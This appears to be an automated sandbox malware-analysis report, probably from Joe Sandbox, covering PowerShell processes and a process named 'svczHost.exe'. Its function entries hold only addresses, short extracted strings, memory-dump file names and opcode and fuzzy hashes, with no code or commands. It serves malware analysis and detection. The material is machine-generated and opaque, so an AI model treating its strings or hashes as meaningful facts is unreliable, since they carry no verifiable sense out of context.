Opcode ID: bb16b2bd856f9903629dd307561d6796a7e7249725bbd8776edd3ac9d5ce29c6
Instruction ID: f824b862951a4f134e88fbea90aebcc0ee32b0f9a73447824cfe0f76f8d8709e
Opcode Fuzzy Hash: bb16b2bd856f9903629dd307561d6796a7e7249725bbd8776edd3ac9d5ce29c6
Instruction Fuzzy Hash: BC41E3A3A0F6C20FF7565664287B1745F90FFA2344B2C00BBE09C661D7E858AD29D355

Analysis Process: powershell.exePID: 8856, Parent PID: 8768COMMON

Executed Functions

Function 00007FFD838C314B Relevance: 3.2, Strings: 2, Instructions: 662COMMON

Download Yara Rule

Strings

r68, xrefs: 00007FFD838C347A
r68, xrefs: 00007FFD838C3457

Memory Dump Source

Source File: 0000000D.00000002.4662362939.00007FFD838C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD838C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd838c0000_powershell.jbxd

Similarity

API ID:
String ID: r68$r68
API String ID: 0-2993941184
Opcode ID: 6c08e0d6d2db429e88e7b371dfd8e8b7d019b5a095033d4ce918c54723a4b6e5
Instruction ID: 0c6eb0c551a2b27dbefc88141dda5f80313bb0fe96112060c7ec70077b88223a
Opcode Fuzzy Hash: 6c08e0d6d2db429e88e7b371dfd8e8b7d019b5a095033d4ce918c54723a4b6e5
Instruction Fuzzy Hash: 4412C321A0D6C52FEB96973C98655A53FE0EF47220F0801FBE48DCB1A3DA5DA847D352

Function 00007FFD833951B8 Relevance: 3.9, Strings: 3, Instructions: 145COMMON

Download Yara Rule

Strings

8h:, xrefs: 00007FFD833969E9
8h:, xrefs: 00007FFD833969FC
8h:, xrefs: 00007FFD833969CF

Memory Dump Source

Source File: 0000000D.00000002.4632636878.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID: 8h:$8h:$8h:
API String ID: 0-3647037315
Opcode ID: f156e5f4702d39ac413db1d241b9b6a00fa27af65213b2742a543dd1dd06d97b
Instruction ID: d13d81c39f45df7f07f23a9b501330d9c1e9c77e8fe6f07c749962ae49c4cff2
Opcode Fuzzy Hash: f156e5f4702d39ac413db1d241b9b6a00fa27af65213b2742a543dd1dd06d97b
Instruction Fuzzy Hash: CC41E97170D94A8FEB95FF188495AB97BE5FF56310F1800B9E84DD7193CA28E842C780

Function 00007FFD83393C15 Relevance: 1.6, Strings: 1, Instructions: 390COMMON

Download Yara Rule

Strings

68, xrefs: 00007FFD83393E6C

Memory Dump Source

Source File: 0000000D.00000002.4632636878.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID: 68
API String ID: 0-2140468598
Opcode ID: 4f6f460c3039008e60b56465e17f30cd8f0cd82dc0b3c92d622775aca2225209
Instruction ID: 1540744ff0419f1f80173e9b6d00f160b0b35a0007665425e0e5e568891d96f7
Opcode Fuzzy Hash: 4f6f460c3039008e60b56465e17f30cd8f0cd82dc0b3c92d622775aca2225209
Instruction Fuzzy Hash: 13C16D71A18A0D8FDF94EF5CC4A5AAD77E1FF69310F14416AD40DD7296CA34E882CB81

Function 00007FFD838C2654 Relevance: 1.4, Strings: 1, Instructions: 192COMMON

Download Yara Rule

Strings

pvT, xrefs: 00007FFD838C27D7

Memory Dump Source

Source File: 0000000D.00000002.4662362939.00007FFD838C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD838C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd838c0000_powershell.jbxd

Similarity

API ID:
String ID: pvT
API String ID: 0-4230925091
Opcode ID: 70ede8eb0c9d3451eb53c9e037298ad7fee54db37f61f7993485dfa40e70bbd4
Instruction ID: d671236fc901290a9c9b0d41363ded9c4cb316945b1e9673993b2a12d2a98103
Opcode Fuzzy Hash: 70ede8eb0c9d3451eb53c9e037298ad7fee54db37f61f7993485dfa40e70bbd4
Instruction Fuzzy Hash: C1519032B089195FEFD89B5C94A9AB577E1EF98250F1801BBD40DD7192DE25EC02C391

Function 00007FFD8346B7C3 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4635113446.00007FFD83460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd83460000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b30dbd18738df2983e09ec385122467ea1b8164d7fedd3a2488b20255f83bc99
Instruction ID: 83a53c1a3f817da175aca6bbe85ec18d1fdbe5319cd1fc0a56cdbbf6f9c214d3
Opcode Fuzzy Hash: b30dbd18738df2983e09ec385122467ea1b8164d7fedd3a2488b20255f83bc99
Instruction Fuzzy Hash: 4451E322B0EA464FF799DE1D98612B437D1EF94221B1811BBD54EC7293EE14EC1AC382

Function 00007FFD8346BAC0 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4635113446.00007FFD83460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd83460000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7555263fc7aab5350b9d056dba6062f3d8a790e73a4c3e1666b6f992ad824c0e
Instruction ID: 01c20ee2d77831c991b69ff762f5194708734508f6ff11e55b318b5dc58a7073
Opcode Fuzzy Hash: 7555263fc7aab5350b9d056dba6062f3d8a790e73a4c3e1666b6f992ad824c0e
Instruction Fuzzy Hash: 87410532B0EA490FF7A9EB2D68616B477D0FF44621B0800BED54DD7587E918AC19C381

Function 00007FFD8346B80F Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4635113446.00007FFD83460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd83460000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59041db46c6277f8f13b021b247bd56a72484d2c1ab4c6eb7a75ba2dc0495f63
Instruction ID: 07bfa21b60a91100d9d98667f7193d5d3ce4f89024645a79dde0c28cd639a052
Opcode Fuzzy Hash: 59041db46c6277f8f13b021b247bd56a72484d2c1ab4c6eb7a75ba2dc0495f63
Instruction Fuzzy Hash: 5E21CE22B0FA464FF7A9DE1E58A127436D1FF54310B4D20BAD44ED71A2EE18EC29C342

Function 00007FFD8339E063 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4632636878.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4946351baa85ac85cd4b0604cd5fa207d8c3792a773f558641208c5d41a4c36f
Instruction ID: f3b73253dc39d7707c02fe70414ce71779fca4a0381621e5e880b4c0af0055d7
Opcode Fuzzy Hash: 4946351baa85ac85cd4b0604cd5fa207d8c3792a773f558641208c5d41a4c36f
Instruction Fuzzy Hash: AF21B371A0CA0C9FDB18DB58D48ABF9BBE0FB56321F00422ED04ED3551DB60A456CB91

Function 00007FFD8346BB0C Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4635113446.00007FFD83460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd83460000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d34be69cbbed8151c38fd9a793b87584872b6308916e5c8b2e66d31b8e9078c
Instruction ID: cad1b77bce7b49e7f3f6c6906848011fb415c593fb7520a517303356d616c6dd
Opcode Fuzzy Hash: 4d34be69cbbed8151c38fd9a793b87584872b6308916e5c8b2e66d31b8e9078c
Instruction Fuzzy Hash: EB11C232F0FA454FF7B4EB1D94A15B476D0FF04621B4800BAD45DD799BE918AC18C241

Function 00007FFD8327EEAA Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4630330195.00007FFD8327D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD8327D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd8327d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b1a8b9a162e3b89fdcd79428373645abdfea730436451ccfbe2a44a349a4d25
Instruction ID: c6e4b67317814663cf69f2411f475ec26ca029a550221771570a27eec3260510
Opcode Fuzzy Hash: 6b1a8b9a162e3b89fdcd79428373645abdfea730436451ccfbe2a44a349a4d25
Instruction Fuzzy Hash: 5201A73161CE088F9758EB2DE049A9577D1FB5432071049AED05DCB565D621F886CB91

Function 00007FFD83394BF5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4632636878.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60ad22c98fff334c04323a807391554b5040a78d35131aa138693f266b9686eb
Instruction ID: 9d5cdb8d41d75a4df6a64008a75e18de582d721f1e131c818ef1f07e9b81cc36
Opcode Fuzzy Hash: 60ad22c98fff334c04323a807391554b5040a78d35131aa138693f266b9686eb
Instruction Fuzzy Hash: 3D01447121CB0C8FDB48EF0CE451AA6B7E0FB95324F50056DE58AC3651D626E882CB46

Function 00007FFD8339BF21 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4632636878.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 598b9fb2795993221230ae433a080384398ae5f0bf4c661708f01ac950a79a0a
Instruction ID: 700c9e312a701c227c54d2cf56e5ad867c6235c3b7f31832a020a627c237a0e6
Opcode Fuzzy Hash: 598b9fb2795993221230ae433a080384398ae5f0bf4c661708f01ac950a79a0a
Instruction Fuzzy Hash: CEF0F611B1EA455FE349A72CA8256A43BA2EF89310F0941F7D04CCB1DBCE1C9D068392

Function 00007FFD838C26F6 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4662362939.00007FFD838C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD838C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd838c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4faf6341b509f644cd9fbd4a55b1ef4594aa3da9f2d5d8bfc5716de85a87674d
Instruction ID: 78473ef41df7eff82f6352289e5009249dbf03930368599bdaa8cc0d147bc2a5
Opcode Fuzzy Hash: 4faf6341b509f644cd9fbd4a55b1ef4594aa3da9f2d5d8bfc5716de85a87674d
Instruction Fuzzy Hash: 8AF0B432B099195EEBD5935C18A43B162F1FF98311F1C4177C40CD32D5DD59EC218281

Function 00007FFD8327EEBF Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4630330195.00007FFD8327D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD8327D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd8327d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 147a0ae148ef56daefef2c2b5036db59334cc6f5f07544137f7df4f94a2f3a2e
Instruction ID: ca273f73b1011b42d759b7a38017aaeb96675611f3bff0998f3887167e7dab9b
Opcode Fuzzy Hash: 147a0ae148ef56daefef2c2b5036db59334cc6f5f07544137f7df4f94a2f3a2e
Instruction Fuzzy Hash: 2DF0DA70618E08DFCB94EF2EC489E5237E1FBA83107154A58E45EC7255D634F892CB91

Function 00007FFD838C4634 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4662362939.00007FFD838C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD838C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd838c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72c8226fff22df5f22e385fc8430057753a010e131e7704493d4c2b1bf43b15b
Instruction ID: 4a724fc410b80779af72b06f3374640d4d8bf3add839a7aa3a838dea15737e59
Opcode Fuzzy Hash: 72c8226fff22df5f22e385fc8430057753a010e131e7704493d4c2b1bf43b15b
Instruction Fuzzy Hash: B8F08C3131CA044BE748EE2DA8496A2B3E0FBA8311F10862EE44AC3251DA21E8818782

Function 00007FFD83399419 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4632636878.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66c04a863e8595b4a7809114323e9c932e5cb2ef43bd651b27846ed34f17b9fc
Instruction ID: 9d40acaf3bd59bb101a68dc79ef28a64d65de2e4a4c7dda01bd9daac08f0c63d
Opcode Fuzzy Hash: 66c04a863e8595b4a7809114323e9c932e5cb2ef43bd651b27846ed34f17b9fc
Instruction Fuzzy Hash: 2CC02B00E5E55D06D906331474320FD71400F03110B4104F3E00C8C0E3DE4D09C11047

Non-executed Functions

Function 00007FFD834626F9 Relevance: 7.9, Strings: 6, Instructions: 382COMMON

Download Yara Rule

Strings

}:, xrefs: 00007FFD83462946
}:, xrefs: 00007FFD834628EE
}:, xrefs: 00007FFD8346284A
}:, xrefs: 00007FFD834628DC
r68, xrefs: 00007FFD83462802
r68, xrefs: 00007FFD83462797

Memory Dump Source

Source File: 0000000D.00000002.4635113446.00007FFD83460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd83460000_powershell.jbxd

Similarity

API ID:
String ID: }:$ }:$ }:$ }:$r68$r68
API String ID: 0-3167565525
Opcode ID: 1669f929e7a414221cb4f9a3e7137a3209a374a13e4428e7bb939f8f950d3f53
Instruction ID: 03ab83434594a5fca3d8a36e4dd7b6b8516c9ba594b39570435343f82cc3d9ba
Opcode Fuzzy Hash: 1669f929e7a414221cb4f9a3e7137a3209a374a13e4428e7bb939f8f950d3f53
Instruction Fuzzy Hash: 30A11422B0DB861FF7998A2C58A56B47BD1FFD6250B0C01BBD48DDB193ED19AC16C381

Function 00007FFD83398962 Relevance: 7.6, Strings: 6, Instructions: 91COMMON

Download Yara Rule

Strings

R_^%, xrefs: 00007FFD83398982
R_^+, xrefs: 00007FFD8339899A
R_^, xrefs: 00007FFD833989D2
R_^", xrefs: 00007FFD83398A32
R_^$, xrefs: 00007FFD83398A3A
R_^), xrefs: 00007FFD83398992

Memory Dump Source

Source File: 0000000D.00000002.4632636878.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID: R_^$R_^"$R_^$$R_^%$R_^)$R_^+
API String ID: 0-2167607834
Opcode ID: 3d78919382257747c1f85bf02ae2dfac9890600d0695ee5b9b573b7773588875
Instruction ID: bbb02260326033e1a67e6850a985337288397ae9d17481d787b3b1bace3afee7
Opcode Fuzzy Hash: 3d78919382257747c1f85bf02ae2dfac9890600d0695ee5b9b573b7773588875
Instruction Fuzzy Hash: 78212393B083551BD305BBBCB8D23EA3B90AF1473570502B7D5DC8E153FE68698D8296

Function 00007FFD83390625 Relevance: 7.6, Strings: 6, Instructions: 90COMMON

Download Yara Rule

Strings

8,U, xrefs: 00007FFD833906C1
p0U, xrefs: 00007FFD83390691
P/U, xrefs: 00007FFD833906B1
(0U, xrefs: 00007FFD833906E1
H1U, xrefs: 00007FFD83390641
/U, xrefs: 00007FFD83390671

Memory Dump Source

Source File: 0000000D.00000002.4632636878.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID: (0U$8,U$H1U$P/U$p0U$/U
API String ID: 0-1305822166
Opcode ID: 1c7cd6dd290c1424b2c9a9912abcdc54e97e9bdd552209e47d314f1f53b070c1
Instruction ID: 568b6430f94914fbe86a0251bb1d00935329a79664086a88c36dc4e067f16a1d
Opcode Fuzzy Hash: 1c7cd6dd290c1424b2c9a9912abcdc54e97e9bdd552209e47d314f1f53b070c1
Instruction Fuzzy Hash: 5031BE93A0E6C14FE71296A818791386FE1FFA3250B1C00FBD88C5B1D7DA55AC09C362

Function 00007FFD83398A6A Relevance: 6.3, Strings: 5, Instructions: 82COMMON

Download Yara Rule

Strings

R_^:, xrefs: 00007FFD83398A92
R_^, xrefs: 00007FFD83398B32
R_^0, xrefs: 00007FFD83398A6A
R_^, xrefs: 00007FFD83398AE2
R_^<, xrefs: 00007FFD83398A9A

Memory Dump Source

Source File: 0000000D.00000002.4632636878.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID: R_^$R_^$R_^0$R_^:$R_^<
API String ID: 0-872038081
Opcode ID: 9ab08f5977f06cff8f7669fb13c54ba59d75cf03e8bcba832b7f9134374c8cfe
Instruction ID: 60621dfe7daa24122b766d0a2cf99dcb279b41d3a86c6aa5b7d9216adad5fbd3
Opcode Fuzzy Hash: 9ab08f5977f06cff8f7669fb13c54ba59d75cf03e8bcba832b7f9134374c8cfe
Instruction Fuzzy Hash: 3521C997F082625BD3047A5DF8E23E6B7D0EFA0325F0902B6C0DC4A143FD58998A87D1

Function 00007FFD83395F68 Relevance: 5.1, Strings: 4, Instructions: 97COMMON

Download Yara Rule

Strings

#, xrefs: 00007FFD83396006
R_^, xrefs: 00007FFD83395F71
!+, xrefs: 00007FFD83395FFE
"3, xrefs: 00007FFD83395FF6

Memory Dump Source

Source File: 0000000D.00000002.4632636878.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID: #$!+$"3$R_^
API String ID: 0-4052399257
Opcode ID: 134af450526c4695973faabe169986c3ff6aa9c98dd00e27ada1342873a99a69
Instruction ID: 88d7fbdc04e17a993e008de1710bedfaed00a12c6c75f516dc1f627f1db1b40f
Opcode Fuzzy Hash: 134af450526c4695973faabe169986c3ff6aa9c98dd00e27ada1342873a99a69
Instruction Fuzzy Hash: 72119D5BF2C5325D6204767FF8525EE23FCDBD8A327045137E249C5146AD84158E81F6

Analysis Process: svczHost.exePID: 3548, Parent PID: 1304COMMON

Non-executed Functions

Function 00007FF7B118BFE0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7B118C00C
GetCurrentThreadId.KERNEL32 ref: 00007FF7B118C01A
GetCurrentProcessId.KERNEL32 ref: 00007FF7B118C026
QueryPerformanceCounter.KERNEL32 ref: 00007FF7B118C036

Memory Dump Source

Source File: 00000016.00000002.4932971316.00007FF7B10D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B10D0000, based on PE: true

Associated: 00000016.00000002.4932933455.00007FF7B10D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4934192547.00007FF7B1550000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4934498450.00007FF7B16C2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4934498450.00007FF7B17D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4934498450.00007FF7B17DB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4935199576.00007FF7B19E7000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4935271623.00007FF7B19E8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4935271623.00007FF7B1A01000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4935271623.00007FF7B1A04000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4935271623.00007FF7B1A06000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4935574242.00007FF7B1A09000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff7b10d0000_svczHost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 8dc9797bf68c6e5250aa19576460b601b27d2e6d7739833455c1b921422f380a
Instruction ID: 2a55ad0f2a4481dd65b1ebedb71f461263ca9e8cd8d2eb3293b5ad2d35238b89
Opcode Fuzzy Hash: 8dc9797bf68c6e5250aa19576460b601b27d2e6d7739833455c1b921422f380a
Instruction Fuzzy Hash: 63114F26B14B428AEB00DB69E8542A873A4FB2AB5CF840935DF2D82798DF78D154C350

Analysis Process: powershell.exePID: 8736, Parent PID: 3548COMMON

Executed Functions

Function 00007FFD833777A6 Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4401785777.00007FFD83370000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd83370000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a0cb04c8e37faa104519ecfa6dba7d3aa9bff088fc2466927c27b77f9332b01
Instruction ID: b63a6545e0dd223ff555795e7e7634b7f8d9661e466ad64bffaf803129f3aac2
Opcode Fuzzy Hash: 8a0cb04c8e37faa104519ecfa6dba7d3aa9bff088fc2466927c27b77f9332b01
Instruction Fuzzy Hash: C9F1A270A09A8D8FEBA8EF28C8557F937D1FF55311F04427AE84DC7291CA74A945CB82

Function 00007FFD83378552 Relevance: .5, Instructions: 462COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4401785777.00007FFD83370000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd83370000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cd41ff67a4a294f6d048a29a80f664cdab830188013a194bc0df61850467ab5
Instruction ID: c1029d7b1ce42fd6596e110d1670ba3a8df4e5bc1bda2df1ac9357167092e8f7
Opcode Fuzzy Hash: 3cd41ff67a4a294f6d048a29a80f664cdab830188013a194bc0df61850467ab5
Instruction Fuzzy Hash: 42E1A470A08A8D4FEBA8EF28C8567E977D1FF54311F14427EE84DC7291DA749445CB82

Function 00007FFD83378166 Relevance: .3, Instructions: 335COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4401785777.00007FFD83370000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd83370000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 636894f0b3fd66f808597a815a12ad1fa49843c7761ff32817730325c04d8992
Instruction ID: a9259fec5d67899c1979e72398dfa83f9ba9099dbf9d6824548d5ae1bc5f5100
Opcode Fuzzy Hash: 636894f0b3fd66f808597a815a12ad1fa49843c7761ff32817730325c04d8992
Instruction Fuzzy Hash: CBB1A370608B4D4FEB68EF28D8567E93BE1FF55311F04426EE84DC7292CA74A945CB82

Function 00007FFD83377C64 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4401785777.00007FFD83370000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd83370000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b10faf81871e70a18285f0aecdc9e9096eb617e0958238a77b4d1e94cf43a1d
Instruction ID: 63246b07062494ab6e7019b2a193fe38377322390bd52e81b6379cca3112120a
Opcode Fuzzy Hash: 6b10faf81871e70a18285f0aecdc9e9096eb617e0958238a77b4d1e94cf43a1d
Instruction Fuzzy Hash: 11312F70A1964ECEFBB8BF18CC6ABF932E0FF45319F440539D40D96192CA386985CB11

Function 00007FFD833733B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4401785777.00007FFD83370000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd83370000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57c11ce672fc823662bc6f3962b845d271132ab30cff6bab67f57ef27f0157e5
Instruction ID: c7a9192f444be14566c28c9becf60e178311fe2269b2c4c3c4f4f6b228e3a266
Opcode Fuzzy Hash: 57c11ce672fc823662bc6f3962b845d271132ab30cff6bab67f57ef27f0157e5
Instruction Fuzzy Hash: 4D01447121CB0C4FDB48EF0CE451AA6B7E0FB95324F50056DE58AC3691DA26E882CB46

Non-executed Functions

Function 00007FFD83371A7D Relevance: 5.2, Strings: 4, Instructions: 244COMMON

Download Yara Rule

Strings

XUi, xrefs: 00007FFD83371AF9
(_T, xrefs: 00007FFD83371AD9
d]I, xrefs: 00007FFD83371AE4
)U_^, xrefs: 00007FFD83371B71

Memory Dump Source

Source File: 0000001A.00000002.4401785777.00007FFD83370000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd83370000_powershell.jbxd

Similarity

API ID:
String ID: (_T$)U_^$XUi$d]I
API String ID: 0-2486207443
Opcode ID: 2d0672f8a0ae825af1c8223d9077eeaae8f6366d209669145299d1e212377d12
Instruction ID: ffb9f76c80528daaba9ec33b7edb41a23acb41a10b938f9bfebdd7ba241817a8
Opcode Fuzzy Hash: 2d0672f8a0ae825af1c8223d9077eeaae8f6366d209669145299d1e212377d12
Instruction Fuzzy Hash: 198180A7F0E6C34FE35366685C761E63FA0EF53225B1D04F7D08C9A093EA196809C761

Analysis Process: powershell.exePID: 6808, Parent PID: 3548COMMON

Executed Functions

Function 00007FFD833A7130 Relevance: 1.6, Strings: 1, Instructions: 348COMMON

Download Yara Rule

Strings

r68, xrefs: 00007FFD833A7329

Memory Dump Source

Source File: 0000001E.00000002.4403125934.00007FFD833A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD833A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd833a0000_powershell.jbxd

Similarity

API ID:
String ID: r68
API String ID: 0-2565176026
Opcode ID: 8516d51b65c4b96a57f6092e7204bf0cdac5b080d011b685e4bd5b537bd12da1
Instruction ID: 829be2572d5c88acc5022ee932d7921189d0b51a2d49cba0c230a9feb92b57e6
Opcode Fuzzy Hash: 8516d51b65c4b96a57f6092e7204bf0cdac5b080d011b685e4bd5b537bd12da1
Instruction Fuzzy Hash: 94B19231F18E4A4BEB68FB7888A56B977E5FF54311F14053ED04ED3692DE28A841C781

Function 00007FFD833A84F2 Relevance: 1.8, Strings: 1, Instructions: 529COMMON

Download Yara Rule

Strings

@, xrefs: 00007FFD833A880E

Memory Dump Source

Source File: 0000001E.00000002.4403125934.00007FFD833A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD833A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd833a0000_powershell.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: caf5353d37ed6facbccdd21f913897769b1d39d20c49ec474468bddcc692505e
Instruction ID: 832ad15e387b22287b7e7933fb67834af6b0180f023e153a601f0091428e5188
Opcode Fuzzy Hash: caf5353d37ed6facbccdd21f913897769b1d39d20c49ec474468bddcc692505e
Instruction Fuzzy Hash: B2D14621A0DBD94FE759FB2898656A57FE0FF56311F0802BAD09DDB1D3CE29A806C341

Function 00007FFD833A6700 Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

r68, xrefs: 00007FFD833A7329

Memory Dump Source

Source File: 0000001E.00000002.4403125934.00007FFD833A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD833A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd833a0000_powershell.jbxd

Similarity

API ID:
String ID: r68
